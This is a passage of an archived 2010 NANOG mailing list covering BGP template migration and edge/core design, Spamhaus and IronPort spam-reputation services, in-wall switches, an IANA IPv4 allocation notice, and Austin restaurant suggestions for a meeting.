I've > done a great deal of research on BGP templates, and now want to migrate > to them from peer-group. Before I waste lab time configuring things, I > just want to ask for feedback based on experience on whether the > following makes sense/will work for transition: > > - configure template structure > - 'no' a single neighbour > - apply templates to neighbour > - the neighbour comes back up > - wash, rinse, repeat I've done some examples of templates/community based route filtering here: http://puck.nether.net/bgp/ The examples for Cisco and Juniper should help you create a policy that is sane for your network, or at least something to keep you from leaking transit-learned routes to another one of your transits. (This is very common). - Jared From steve at ibctech.ca Wed Feb 17 19:20:10 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 20:20:10 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: References: <20100217163831.B5C0E138@resin17.mta.everyone.net> Message-ID: <4B7C95CA.3040303@ibctech.ca> On 2010.02.17 19:41, jim deleskie wrote: > Border/Core/Access is great thinking when your a sales rep for a > vendor that sells under power kit. No reason for it any more. Hi Jim, Unfortunately, I have a mix of EOL Cisco gear in my network, along with other random custom-built software routers, HP Procurve switches etc. To be honest, I am very pleased with what I've learnt over the course of the last two years with my network re-design/build. In my environment, the layered approach is working exceptionally well (and my sales skills would have me recommend a different ISP at the drop of a dime if they could provide what I couldn't ;) Primarily, my transition has led me down the BCP 38 path (and it's associated techniques/side-effects, specifically automated S/RTBH), which aside from IPv6, is the most important thing I believe that I could have accomplished during that time. It would, however, be interesting to learn how the former drawbacks of flat networks have evolved, and what new technologies make them successful once again. Thanks, Steve From Joel.Snyder at Opus1.COM Wed Feb 17 19:33:00 2010 From: Joel.Snyder at Opus1.COM (Joel M Snyder) Date: Wed, 17 Feb 2010 18:33:00 -0700 Subject: Spamhaus ... Message-ID: <4B7C98CC.6020800@opus1.com> Matthew Black wrote: >When we licensed Spamhaus a few years back, they required us to set-up a DNS >slave server instead of querying against their public server. They had a >special DNS client that allowed partial zone updates. Turns out we >downloaded huge hourly updates. This is no longer necessary. You can either run your own server (zone transfer-ish) or you can query their servers. When you pay your fee, you get a magic code which you insert in the DNS query, and this lets them know who you are. I second the assertion that others have already made that this is worth the money. We do spam testing, and I can more-or-less guarantee that Spamhaus beats all of the free reputation services (and a number of the for-pay ones) hands-down in its ability to block spam and the incredibly low number of false positives. In case you are interested in more on the topic, I did write a white paper (ob.disc.:Cisco gave me money to write up the white paper based on data I have been collecting for years) on reputation services. John Levine wrote: > > We no longer use Spamhaus, relying instead upon Sender Base Reputation > >Scores (IronPort). >How does the price compare? Well, depending on how you look at it, either horribly or beautifully. You can't buy SenderBase by itself; you get it with an Ironport anti-spam appliance. So if you were going to buy Ironport anyway, the price is "free" which makes it cheaper than Spamhaus. On the other hand, if you just want SenderBase, it'd be a very expensive way to get only the reputation filtering. In general, like many of the big-name anti-spam products, the reputation service is part-and-parcel of the product and can't really be separated out. In fact, with Ironport, they use the reputation service in two ways: one is to block connections in the first place, and the second way is to bias results of their content filter for connections which are accepted. Since their scores are -10 to +10, there's considerable leeway to use the information as part of their anti-spam cocktail beyond simple "go/no-go" of a typical reputation service. jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From steve at ibctech.ca Wed Feb 17 19:43:08 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 20:43:08 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: <71AAFF96-38AE-4D85-BCA8-FE32770892FD@puck.nether.net> References: <4B7C8589.8060806@ibctech.ca> <71AAFF96-38AE-4D85-BCA8-FE32770892FD@puck.nether.net> Message-ID: <4B7C9B2C.9010304@ibctech.ca> On 2010.02.17 20:19, Jared Mauch wrote: > On Feb 17, 2010, at 7:10 PM, Steve Bertrand wrote: > >> Hey all, >> >> I've got a couple of questions that I'd like operational feedback about. >> . >> >> Although we're an ISP, we currently are only an access provider. We >> don't yet provide any transit services, but the requirement for us to do >> so may creep up on a very small scale shortly. Nonetheless... >> >> I'm on the latter stages of transforming our network from flat to >> layered. My thinking is that my 'upstream' connections should be moved >> out of the core, and onto the edge. My reasoning for this is so that I >> can eliminate ACL/filtering etc from the core, and push it ALL out >> toward the edge, keeping the core as fast, sleek and maintenance-free as >> possible. I visualize my transit providers as essentially 'access', not >> part of my core backbone. > > One of the challenges is how do you decide if something is "core" vs "access". > > If both are the same speed, is there a reason to keep them on different devices? Hi Jared, They are not at the same speed. Typically, the majority of the 'access' or 'edge' is 100Mb, whereas the 'core' consists of 1Gb up to four 1Gb agg links. > How do you aggregate your customers if they are the same speed as your "core"? They are not. For instance, I have an SDSL network where max theoretical speeds for each connection is 2048Kb. I consolidate all of these modems/banks into Cat 2900 switches (or equivalent), which terminate into a 2691 (or equivalent) router. The 2961 routers connect directly to two "core" routers, providing redundancy across the network. Most of these SDSL clients also have a fibre feed out of our same building, advertising address space assigned by us back to us via BGP, with the SDSL as backup-only. The fibre links are 100Mb each. The fibre from the clients terminate within a building down the street, and we have 10 such clients on a pair of fibre. Each pair of fibre run across Gig transceivers to our building. Each client is within it's own vlan, 10 vlans connect to 10 sub-ints on a router from the switch. This 'access' router then is LACP (generally 2gi) to each 'core'. The 'cores' have multi-gig feeds into the 'access' areas that we host. Each 'access' router (or edge as I refer to it as) protects my network with uRPF etc etc. > Are there points of savings? I don't know. Keeping all filtering at the edge saves me much time and much effort. BGP templates will also help. The question is, has it helped...yes, it has, tremendously. Flat or layered, it doesn't take me long anymore to identify points of congestion. The project also has helped me identify what I need to express to my large upstream engineers whenever I come under a direct DDoS, as to save *them* time. > I don't know if you're doing T1 aggregation or 10GE, so this is hard to speculate, but I honestly would not spend a lot of time talking to people that have different buckets for a device class. What is "core" today is always edge in the future. > > "peering edge" > "customer edge" > "core" > Mean different things to different networks/people. Some see value, others see excess. Agreed. I figured that. I can easily see now that edges are different whether you are a transit provider, access provider etc... >> Another question, along the same lines, due to recent discussions, I've >> done a great deal of research on BGP templates, and now want to migrate >> to them from peer-group. Before I waste lab time configuring things, I >> just want to ask for feedback based on experience on whether the >> following makes sense/will work for transition: >> >> - configure template structure >> - 'no' a single neighbour >> - apply templates to neighbour >> - the neighbour comes back up >> - wash, rinse, repeat > > I've done some examples of templates/community based route filtering here: > > http://puck.nether.net/bgp/ > > The examples for Cisco and Juniper should help you create a policy that is sane for your network, or at least something to keep you from leaking transit-learned routes to another one of your transits. (This is very common). Yeah, I know it's common. I can't stand seeing my filtering system sinking/holing BOGON, or more specifically my own IP space that is coming back to me. I'm all for being a good net citizen, and am willing to do whatever it takes to ensure that. I guess my question should have been whether I should move my transit providers to the "perimeter" instead :) Thanks Jared for the feedback, and the link to the templates. Steve From deleskie at gmail.com Wed Feb 17 19:45:32 2010 From: deleskie at gmail.com (jim deleskie) Date: Wed, 17 Feb 2010 21:45:32 -0400 Subject: Location of upstream connections & BGP templates In-Reply-To: <4B7C95CA.3040303@ibctech.ca> References: <20100217163831.B5C0E138@resin17.mta.everyone.net> <4B7C95CA.3040303@ibctech.ca> Message-ID: Of course all designs are limited to the budget you have to build the network :) On Wed, Feb 17, 2010 at 9:20 PM, Steve Bertrand wrote: > On 2010.02.17 19:41, jim deleskie wrote: >> Border/Core/Access is great thinking when your a sales rep for a >> vendor that sells under power kit. ?No reason for it any more. > > Hi Jim, > > Unfortunately, I have a mix of EOL Cisco gear in my network, along with > other random custom-built software routers, HP Procurve switches etc. > > To be honest, I am very pleased with what I've learnt over the course of > the last two years with my network re-design/build. In my environment, > the layered approach is working exceptionally well (and my sales skills > would have me recommend a different ISP at the drop of a dime if they > could provide what I couldn't ;) > > Primarily, my transition has led me down the BCP 38 path (and it's > associated techniques/side-effects, specifically automated S/RTBH), > which aside from IPv6, is the most important thing I believe that I > could have accomplished during that time. > > It would, however, be interesting to learn how the former drawbacks of > flat networks have evolved, and what new technologies make them > successful once again. > > Thanks, > > Steve > From steve at ibctech.ca Wed Feb 17 19:46:34 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 20:46:34 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: References: <20100217163831.B5C0E138@resin17.mta.everyone.net> <4B7C95CA.3040303@ibctech.ca> Message-ID: <4B7C9BFA.2030301@ibctech.ca> On 2010.02.17 20:45, jim deleskie wrote: > Of course all designs are limited to the budget you have to build the > network :) Heh, yeah, but it's unbelievable what one can learn on an eBay diet when they put their entire heart, soul and dedication into it! Steve From deleskie at gmail.com Wed Feb 17 19:48:43 2010 From: deleskie at gmail.com (jim deleskie) Date: Wed, 17 Feb 2010 21:48:43 -0400 Subject: Location of upstream connections & BGP templates In-Reply-To: <4B7C9BFA.2030301@ibctech.ca> References: <20100217163831.B5C0E138@resin17.mta.everyone.net> <4B7C95CA.3040303@ibctech.ca> <4B7C9BFA.2030301@ibctech.ca> Message-ID: Absolutely. I've worked on networks where I'm was amazed on someday we held it all together, but that is truly when you learn the most. -jim On Wed, Feb 17, 2010 at 9:46 PM, Steve Bertrand wrote: > On 2010.02.17 20:45, jim deleskie wrote: >> Of course all designs are limited to the budget you have to build the >> network :) > > Heh, yeah, but it's unbelievable what one can learn on an eBay diet when > they put their entire heart, soul and dedication into it! > > Steve > From steve at ibctech.ca Wed Feb 17 19:56:12 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 20:56:12 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: References: <20100217163831.B5C0E138@resin17.mta.everyone.net> <4B7C95CA.3040303@ibctech.ca> <4B7C9BFA.2030301@ibctech.ca> Message-ID: <4B7C9E3C.2020900@ibctech.ca> On 2010.02.17 20:48, jim deleskie wrote: > Absolutely. I've worked on networks where I'm was amazed on someday > we held it all together, but that is truly when you learn the most. I'm very, very happy that there are people out there who can actually see that... Steve From morrowc.lists at gmail.com Wed Feb 17 20:07:46 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 17 Feb 2010 21:07:46 -0500 Subject: austin eats In-Reply-To: References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> Message-ID: <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> On Wed, Feb 17, 2010 at 6:23 PM, Randy Bush wrote: >> Most coffee shops, bars and restaurants have wifi hotspots since >> there's an active group of volunteers that helps install and maintain >> them. > > which raises the critical question, where is the nearest decent > (i.e. not fourbucks) coffee to the venue? lmgtfy.com ... (I'll ask a local as well, unless one pipes up first) From morrowc.lists at gmail.com Wed Feb 17 20:58:37 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Wed, 17 Feb 2010 21:58:37 -0500 Subject: austin eats In-Reply-To: <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> Message-ID: <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> On Wed, Feb 17, 2010 at 9:07 PM, Christopher Morrow wrote: > On Wed, Feb 17, 2010 at 6:23 PM, Randy Bush wrote: >>> Most coffee shops, bars and restaurants have wifi hotspots since >>> there's an active group of volunteers that helps install and maintain >>> them. >> >> which raises the critical question, where is the nearest decent >> (i.e. not fourbucks) coffee to the venue? > > > > lmgtfy.com ... (I'll ask a local as well, unless one pipes up first) > A local (and very good friend, buy her book: book not about coffee, and the cover's a tad nsfwish... but it's art so...) says: "Ok, this is a few blocks away but it's quite fine-- mighty fine, even-- http://www.halcyonaustin.com/ 218 W 4th street" -Chris From fobdfc at gmail.com Wed Feb 17 21:17:14 2010 From: fobdfc at gmail.com (Mike) Date: Wed, 17 Feb 2010 21:17:14 -0600 Subject: austin eats In-Reply-To: <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> Message-ID: In the downtown area there is also Jo's coffee and Little City that are traditional coffee shops like Halcyon. Franks, royal blue grocery and Walton's fancy & staple are also good options for a morning snack and coffee drinks. Whole foods is also another option. On Wed, Feb 17, 2010 at 8:58 PM, Christopher Morrow wrote: > On Wed, Feb 17, 2010 at 9:07 PM, Christopher Morrow > wrote: >> On Wed, Feb 17, 2010 at 6:23 PM, Randy Bush wrote: >>>> Most coffee shops, bars and restaurants have wifi hotspots since >>>> there's an active group of volunteers that helps install and maintain >>>> them. >>> >>> which raises the critical question, where is the nearest decent >>> (i.e. not fourbucks) coffee to the venue? >> >> >> >> lmgtfy.com ... (I'll ask a local as well, unless one pipes up first) >> > > A local (and very good friend, buy her book: > book not about coffee, and the cover's a tad nsfwish... but it's art so...) > says: > "Ok, this is a few blocks away but it's quite fine-- mighty fine, even-- > > http://www.halcyonaustin.com/ > 218 W 4th street" > > -Chris > > From jason at i6ix.com Wed Feb 17 21:18:35 2010 From: jason at i6ix.com (Jason Bertoch) Date: Wed, 17 Feb 2010 22:18:35 -0500 Subject: Spamhaus... In-Reply-To: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> Message-ID: <4B7CB18B.2060509@i6ix.com> On 2/17/2010 5:32 PM, Laczo, Louis wrote: > Folks, > > I'm looking for comments / suggestions / opinions from any providers that have been contacted by spamhaus about excessive queries originating from their DNS resolvers, typically, as a proxy for customers. I know that certain large DNS providers (i.e. google and level3) have either been banned or have voluntarily blocked spamhaus queries by their resolvers. We're currently in discussion with spamhaus and I wanted to see how others may have handled this. Assuming you're already running a local caching server for your mail system... Based on the spamhaus fee structure (# of e-mail accounts), our policy is to allow spamhaus to block queries from our public resolvers if they choose. The spamhaus folks certainly deserve compensation for their efforts, so customers that need such volume should do so from their own IP and pay a fee. While I believe it might be mutually beneficial for spamhaus to offer some sort of a recursive DNS provider/ISP fee structure, I can see where enforcement would be a problem. The resolution of that particular problem belongs to spamhaus and their individual users/customers. /Jason From dfox at smarsh.com Wed Feb 17 23:01:42 2010 From: dfox at smarsh.com (Daniel Fox) Date: Wed, 17 Feb 2010 21:01:42 -0800 Subject: austin eats Message-ID: Just ate at iron cactus on 6th and both the talapia and spicy shrimp tacos are phenomonal! Margaritas are really good too... 90 plus tequillas to choose from...great staff Daniel Fox Smarsh Inc ----- Original Message ----- From: Chris Boyd Sent: 17 February 2010 14:42 To: North American Network Operators Group Subject: Re: austin eats On Feb 17, 2010, at 2:04 PM, Will Clayton wrote: > Maudi's on Lake Austin and Taco Deli are always on my menu. We just got some Buffalo Wild Wings in town if you are in to that. If you make it to NXNW get the Calimari. If you wind up ordering pizza, shop local and get the best pizza for the best price in town at Austin's Pizza. Austin's is good, but HomeSlice on South Congress is better, and you can walk on down to Trophy's, Continental Club, or the garden at Guero's and take in a band. http://www.homeslicepizza.com/ http://austin.citysearch.com/profile/10210801/austin_tx/trophy_s_bar_grill.html http://www.continentalclub.com/ http://www.guerostacobar.com/ From black at csulb.edu Thu Feb 18 02:53:04 2010 From: black at csulb.edu (Matthew Black) Date: Thu, 18 Feb 2010 00:53:04 -0800 Subject: Spamhaus ... In-Reply-To: <4B7C98CC.6020800@opus1.com> References: <4B7C98CC.6020800@opus1.com> Message-ID: On Wed, 17 Feb 2010 18:33:00 -0700 Joel M Snyder wrote: > I second the assertion that others have already made that this is worth >the money. We do spam testing, and I can more-or-less guarantee that >Spamhaus beats all of the free reputation services (and a number of the >for-pay ones) hands-down in its ability to block spam and the incredibly >low number of false positives. We ADDED Spamhaus to our IronPort because it was inexpensive. I recall using MAPS RBL many years earlier with a lot of false positives and angry companies trying to reach our users. > John Levine wrote: > > > > We no longer use Spamhaus, relying instead upon Sender Base Reputation > > >Scores (IronPort). > > >How does the price compare? > > Well, depending on how you look at it, either horribly or beautifully. You >can't buy SenderBase by itself; you get it with an Ironport anti-spam >appliance. So if you were going to buy Ironport anyway, the price is >"free" which makes it cheaper than Spamhaus. On the other hand, if you >just want SenderBase, it'd be a very expensive way to get only the >reputation filtering. > > In general, like many of the big-name anti-spam products, the reputation >service is part-and-parcel of the product and can't really be separated >out. In fact, with Ironport, they use the reputation service in two ways: >one is to block connections in the first place, and the second way is to >bias results of their content filter for connections which are accepted. > Since their scores are -10 to +10, there's considerable leeway to use the >information as part of their anti-spam cocktail beyond simple "go/no-go" of >a typical reputation service. > > jms > Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 SenderBase blocks about 90% of incoming connections. 3-part TCP/IP handshake, send them an error, then disconnect. For some egregious senders, we simply refuse the TCP/IP connection. You don't have to scan refused messages or connections for viruses or spam, a very costly process. When IronPort first released their own anti-spam product to replace Brightmail, it had many false positives. We were a beta tester. They do much better now and false positives are almost non-existent. We still encounter the occasional user wondering why their connection gets blocked by SenderBase. For our users, we remind them to configure SMTP AUTH when working from off campus because so many DSL addesses have low SBRS values. SMTP AUTH lets them bypass the SenderBase. One of the coolest IronPort features is virtual gateways. Besides all the reputation filtering and anti-spam, anti-virus features, IronPort lets you create virtual gateways so outbound e-mail can be classed to use a different outbound source IP address. Very helpful so that our bulk mailers don't affect individual users should we get black or graylisted. Cheers. matthew black e-mail postmaster california state university, long beach From ml at kenweb.org Thu Feb 18 02:55:07 2010 From: ml at kenweb.org (ML) Date: Thu, 18 Feb 2010 03:55:07 -0500 Subject: In wall switches In-Reply-To: <4B7ACF64.3030703@utc.edu> References: <6fa15a3f1002160828v5cfb93bdh39b611de7f0f8857@mail.gmail.com> <874olhxh6v.fsf@delta.meridian-enviro.com> <4B7ACF64.3030703@utc.edu> Message-ID: <4B7D006B.4040802@kenweb.org> On 2/16/2010 12:01 PM, Jeff Kell wrote: > On 2/16/2010 11:45 AM, Douglas K. Rand wrote: >>> Does anyone know of anything like a small, but managed in wall switch? >>> >> We had looked at the 3com NJ90 for a deployment. We ended up pulling >> more wire instead, but it was a cool device. It isn't managed. But from >> the 3com page I see that they now have new devices, the NJ220 for >> managed fast Ethernet, and a NJ2000 for gigE. >> > > We have a number of NS220s out there working fine, but they are either > EOS/EOL or their clocks are ticking. > > There is the NJ2000 series, but they have "issues" with management and > proper reporting (our network management gear can't quite properly > manage them as the NJ220s). > > Jeff > We've used the NJ220s here....PITA. Maybe it's how we use them (multicast traffic and .1q VLANs) but I could never get a consistent view of the quantity of the NJ220s active on the subnet. I found that when passing a fair amount of traffic (> 10Mbps) the 3com management widget "Central Configuration Manager" wouldn't be able to manage the switch unless I reduced that traffic load on the port leading to the NJ220. From matthew at sorbs.net Thu Feb 18 04:40:17 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Thu, 18 Feb 2010 11:40:17 +0100 Subject: Spamhaus... In-Reply-To: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> Message-ID: <4B7D1911.4050801@sorbs.net> Laczo, Louis wrote: > Folks, > > I'm looking for comments / suggestions / opinions from any providers that have been contacted by spamhaus about excessive queries originating from their DNS resolvers, typically, as a proxy for customers. I know that certain large DNS providers (i.e. google and level3) have either been banned or have voluntarily blocked spamhaus queries by their resolvers. We're currently in discussion with spamhaus and I wanted to see how others may have handled this. > They seem to be doing that a lot of late. They also contacted my employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our software. Next version will not have the ability to query Spamhaus unless a user configures it themselves in the "Custom RBL" settings. Michelle ? = could have been more, not sure without checking with the CEO, result was the same. From leo.vegoda at icann.org Wed Feb 17 12:56:02 2010 From: leo.vegoda at icann.org (Leo Vegoda) Date: Wed, 17 Feb 2010 10:56:02 -0800 Subject: 50/8 and 107/8 allocated to ARIN Message-ID: Hi, The IANA IPv4 registry has been updated to reflect the allocation of two /8 IPv4 blocks to ARIN in February 2010: 50/8 and 107/8. You can find the IANA IPv4 registry at: http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.txt Please update your filters as appropriate. There are 22 unallocated unicast IPv4 /8s. Regards, Leo Vegoda Number Resources Manager, IANA ICANN From ren.provo at gmail.com Thu Feb 18 06:51:31 2010 From: ren.provo at gmail.com (Ren Provo) Date: Thu, 18 Feb 2010 07:51:31 -0500 Subject: austin eats In-Reply-To: References: Message-ID: <787581441002180451h71a987cy73f6c40f0f9edeab@mail.gmail.com> Daniel I hope you'll be able to join us at Iron Cactus on Sunday night - http://renster.multiply.com/photos/album/553/Sunday_night_in_Austin On Thu, Feb 18, 2010 at 12:01 AM, Daniel Fox wrote: > Just ate at iron cactus on 6th and both the talapia and spicy shrimp tacos are phenomonal! Margaritas are really good too... 90 plus tequillas to choose from...great staff > > Daniel Fox > Smarsh Inc > > ----- Original Message ----- > From: Chris Boyd > Sent: 17 February 2010 14:42 > To: North American Network Operators Group > Subject: Re: austin eats > > > On Feb 17, 2010, at 2:04 PM, Will Clayton wrote: > >> Maudi's on Lake Austin and Taco Deli are always on my menu. We just got some Buffalo Wild Wings in town if you are in to that. If you make it to NXNW get the Calimari. If you wind up ordering pizza, shop local and get the best pizza for the best price in town at Austin's Pizza. > > Austin's is good, but HomeSlice on South Congress is better, and you can walk on down to Trophy's, Continental Club, or the garden at Guero's and take in a band. > > http://www.homeslicepizza.com/ > http://austin.citysearch.com/profile/10210801/austin_tx/trophy_s_bar_grill.html > http://www.continentalclub.com/ > http://www.guerostacobar.com/ > > From cboyd at gizmopartners.com Thu Feb 18 07:34:44 2010 From: cboyd at gizmopartners.com (Chris Boyd) Date: Thu, 18 Feb 2010 07:34:44 -0600 Subject: austin eats In-Reply-To: References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> Message-ID: On Feb 17, 2010, at 5:23 PM, Randy Bush wrote: > which raises the critical question, where is the nearest decent > (i.e. not fourbucks) coffee to the venue? https://auth.lessnetworks.com/v099/app?service=direct/1/Home/hotList_col3&sp=0&sp=SDESC Has a list of some hotspots. The Schlotzky's across the street from SBUX downtown also has free access. There's also a city sponsored network available in several of the downtown parks. --Chris From Joel.Snyder at Opus1.COM Thu Feb 18 08:09:43 2010 From: Joel.Snyder at Opus1.COM (Joel Snyder) Date: Thu, 18 Feb 2010 07:09:43 -0700 Subject: Spamhaus ... In-Reply-To: References: Message-ID: <4B7D4A27.8090109@opus1.com> Sharef Mustafa wrote: > What is the title of the white paper you mentioned? > Is it available for free? If not how can I get it? Sorry, I should have put the link to the Best Practices in Reputation Services white paper in. I meant to, but I got distracted writing the disclaimer and forgot to paste the URL. http://www.opus1.com/www/whitepapers/reputationserviceswp.pdf jms -- Joel M Snyder, 1404 East Lind Road, Tucson, AZ, 85719 Senior Partner, Opus One Phone: +1 520 324 0494 jms at Opus1.COM http://www.opus1.com/jms From dsparro at gmail.com Thu Feb 18 08:34:01 2010 From: dsparro at gmail.com (Dave Sparro) Date: Thu, 18 Feb 2010 09:34:01 -0500 Subject: Spamhaus... In-Reply-To: <20100218003514.7988.qmail@simone.iecc.com> References: <20100218003514.7988.qmail@simone.iecc.com> Message-ID: <4B7D4FD9.4040706@gmail.com> On 2/17/2010 7:35 PM, John Levine wrote: >> We no longer use Spamhaus, relying instead upon Sender Base Reputation >> Scores (IronPort). >> > How does the price compare Price comparisons would be difficult; with Ironport (Cisco now) you get hardware to go along with the service. -- Dave From johnl at iecc.com Thu Feb 18 09:39:41 2010 From: johnl at iecc.com (John R. Levine) Date: 18 Feb 2010 07:39:41 -0800 Subject: Spamhaus ... In-Reply-To: References: <4B7C98CC.6020800@opus1.com> Message-ID: > We ADDED Spamhaus to our IronPort because it was inexpensive. I recall using > MAPS RBL many years earlier with a lot of false positives and angry companies > trying to reach our users. Yeah, I used to pay for MAPS but dropped them several years ago because of the false positives and the high cost. R's, John From w.d.clayton at gmail.com Thu Feb 18 09:50:46 2010 From: w.d.clayton at gmail.com (Will Clayton) Date: Thu, 18 Feb 2010 09:50:46 -0600 Subject: austin eats In-Reply-To: References: Message-ID: <69069bc21002180750q2ed61ec1qf0fd53ef4e3966f5@mail.gmail.com> The fish tacos at Hang Town down Capital of Texas are awesome too. On Wed, Feb 17, 2010 at 11:01 PM, Daniel Fox wrote: > Just ate at iron cactus on 6th and both the talapia and spicy shrimp tacos > are phenomonal! Margaritas are really good too... 90 plus tequillas to > choose from...great staff > > Daniel Fox > Smarsh Inc > > ----- Original Message ----- > From: Chris Boyd > Sent: 17 February 2010 14:42 > To: North American Network Operators Group > Subject: Re: austin eats > > > On Feb 17, 2010, at 2:04 PM, Will Clayton wrote: > > > Maudi's on Lake Austin and Taco Deli are always on my menu. We just got > some Buffalo Wild Wings in town if you are in to that. If you make it to > NXNW get the Calimari. If you wind up ordering pizza, shop local and get the > best pizza for the best price in town at Austin's Pizza. > > Austin's is good, but HomeSlice on South Congress is better, and you can > walk on down to Trophy's, Continental Club, or the garden at Guero's and > take in a band. > > http://www.homeslicepizza.com/ > > http://austin.citysearch.com/profile/10210801/austin_tx/trophy_s_bar_grill.html > http://www.continentalclub.com/ > http://www.guerostacobar.com/ > > From w.d.clayton at gmail.com Thu Feb 18 09:51:59 2010 From: w.d.clayton at gmail.com (Will Clayton) Date: Thu, 18 Feb 2010 09:51:59 -0600 Subject: austin eats In-Reply-To: <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> Message-ID: <69069bc21002180751y7fccf79bp68aeb8571bf8f525@mail.gmail.com> Now that you mention it, Might Fine burgers are some of the best I've had in town too. On Wed, Feb 17, 2010 at 8:58 PM, Christopher Morrow wrote: > On Wed, Feb 17, 2010 at 9:07 PM, Christopher Morrow > wrote: > > On Wed, Feb 17, 2010 at 6:23 PM, Randy Bush wrote: > >>> Most coffee shops, bars and restaurants have wifi hotspots since > >>> there's an active group of volunteers that helps install and maintain > >>> them. > >> > >> which raises the critical question, where is the nearest decent > >> (i.e. not fourbucks) coffee to the venue? > > > > < > http://maps.google.com/maps?near=500+E+4th+St,+Austin,+TX+78701&geocode=CdxL1XHf6o_tFXzOzQEdUJ8s-ikL4kgoprVEhjGsYasgZ_A1zQ&q=coffee+shop&f=l&sll=30.265406,-97.739289&sspn=0.004202,0.003578&ie=UTF8&z=15 > > > > > > lmgtfy.com ... (I'll ask a local as well, unless one pipes up first) > > > > A local (and very good friend, buy her book: < > http://www.notellbooks.org/harlot> > book not about coffee, and the cover's a tad nsfwish... but it's art so...) > says: > "Ok, this is a few blocks away but it's quite fine-- mighty fine, even-- > > http://www.halcyonaustin.com/ > 218 W 4th street" > > -Chris > > From adamkuj at amplex.net Thu Feb 18 10:42:57 2010 From: adamkuj at amplex.net (Adam Kujawski) Date: Thu, 18 Feb 2010 10:42:57 -0600 Subject: austin eats In-Reply-To: <69069bc21002180751y7fccf79bp68aeb8571bf8f525@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> <69069bc21002180751y7fccf79bp68aeb8571bf8f525@mail.gmail.com> Message-ID: <79c6e3021002180842w568a0138pb0d2784defed55a5@mail.gmail.com> On Thu, Feb 18, 2010 at 9:51 AM, Will Clayton wrote: > Now that you mention it, Might Fine burgers are some of the best I've had in > town too. I can't believe nobody has mentioned the burgers at Hut's or Casino El Camino yet. Casino is a bar that's walking distance from the hotel. The buffalo burger (as in wing sauce, not bison) is hot and tasty. For cheap but decent sushi, check out Kyoto on Congress -- the happy hour pricing has strict rules though -- arrive early, and no seating of incomplete parties. Then head downstairs for some live jazz at the Elephant Room. http://www.kyotodowntown.com/5585168_47375.htm -Adam From bhicks at ots.utsystem.edu Thu Feb 18 10:47:48 2010 From: bhicks at ots.utsystem.edu (Byron Hicks) Date: Thu, 18 Feb 2010 10:47:48 -0600 Subject: austin eats In-Reply-To: <79c6e3021002180842w568a0138pb0d2784defed55a5@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <75cb24521002171807m62b98294q11b529e55303f6bd@mail.gmail.com> <75cb24521002171858m762adca0nd62bdf6d70a349c7@mail.gmail.com> <69069bc21002180751y7fccf79bp68aeb8571bf8f525@mail.gmail.com> <79c6e3021002180842w568a0138pb0d2784defed55a5@mail.gmail.com> Message-ID: 